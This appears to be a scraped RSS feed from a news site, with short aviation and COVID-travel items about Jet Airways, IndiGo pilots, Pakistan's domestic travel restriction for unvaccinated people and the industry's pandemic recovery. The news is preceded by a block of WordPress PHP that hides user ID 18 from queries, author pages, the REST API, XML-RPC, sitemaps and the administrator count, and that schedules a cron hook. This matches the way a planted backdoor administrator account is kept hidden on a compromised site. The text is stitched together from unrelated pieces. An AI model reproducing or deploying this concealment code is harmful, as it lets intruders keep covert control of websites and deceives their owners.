add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Jet Airways To Resume Operations In 2022 After 2019 For The First Time appeared first on The Edge Media.
]]>“Jet Airways flew again today, May 5, our 29th birthday! It’s an emotional day for those of us who have been waiting, working, and hoping for this day, as well as Jet’s devoted customers who can’t wait for the airline to resume operations,” according to Jet Airways.
Sanjiv Kapoor, who formerly held key positions at Vistara and Spicejet, was chosen as the new CEO of Jalan Kalrock Consortium earlier this month (CEO).
The post Jet Airways To Resume Operations In 2022 After 2019 For The First Time appeared first on The Edge Media.
]]>The post IndiGo Pilots Detained For Using Abusive Languages On Emergency Radio appeared first on The Edge Media.
]]>In this case, the Directorate General of Civil Aviation (DGCA) has opened an investigation. According to the sources, IndiGo has yet to release a remark on the matter. IndiGo has dismissed several pilots who were organizing a strike on April 5 to protest wage cutbacks imposed during the COVID-19 epidemic only days before the event.
The post IndiGo Pilots Detained For Using Abusive Languages On Emergency Radio appeared first on The Edge Media.
]]>The post NCOC will forbid domestic air travel for unvaccinated citizens appeared first on The Edge Media.
]]>“Restriction is for domestic air travel. However, people travelling from Pakistan from abroad or arriving in Pakistan from a foreign country are exempted from this restriction. It is also not applicable to link flights if these are within 72 hours of arrival or departure,” an NCOC document stated.
Additionally, according to the document, exemptions will also be applicable to partially vaccinated people, foreign nationals, Pakistani nationals with documentary proof they were vaccinated abroad, and patients with clinical conditions.
The National Command and Operation Centre was formed in April 2020 as a principal body governing Pakistan’s national Covid-19 efforts.
Meanwhile, the country’s cumulative Covid-19 infection tally has crossed the 1 million mark, as 2819 more people tested positive in the last 24 hours, taking the overall caseload to 1,004,694, the Ministry of National Health Services said on Sunday. According to the ministry’s data, 45 more people succumbed due to the viral disease in this period, taking the death toll past the 23,000-mark to 23,016.
Also, the latest positivity rate was recorded at 6.32%, which is the highest during what is called Pakistan’s fourth wave of the coronavirus pandemic, which hit the country in the early days of July.
(With PTI inputs)
The post NCOC will forbid domestic air travel for unvaccinated citizens appeared first on The Edge Media.
]]>The post Post Pandemic Rebound Might Cause Difficulties For The Aviation Industry appeared first on The Edge Media.
]]>The research also outlines many ways in which Covid-19 is changing the industry, including long-term changes in fleet composition, travel itineraries, and passenger demand.
According to the most recent International Air Transport Association (IATA) data issued in June, airlines in Asia Pacific performed the lowest in the world. For the ninth month in a row, the area had the greatest traffic decrease, with capacity falling by 86.3 percent.
The post Post Pandemic Rebound Might Cause Difficulties For The Aviation Industry appeared first on The Edge Media.
]]>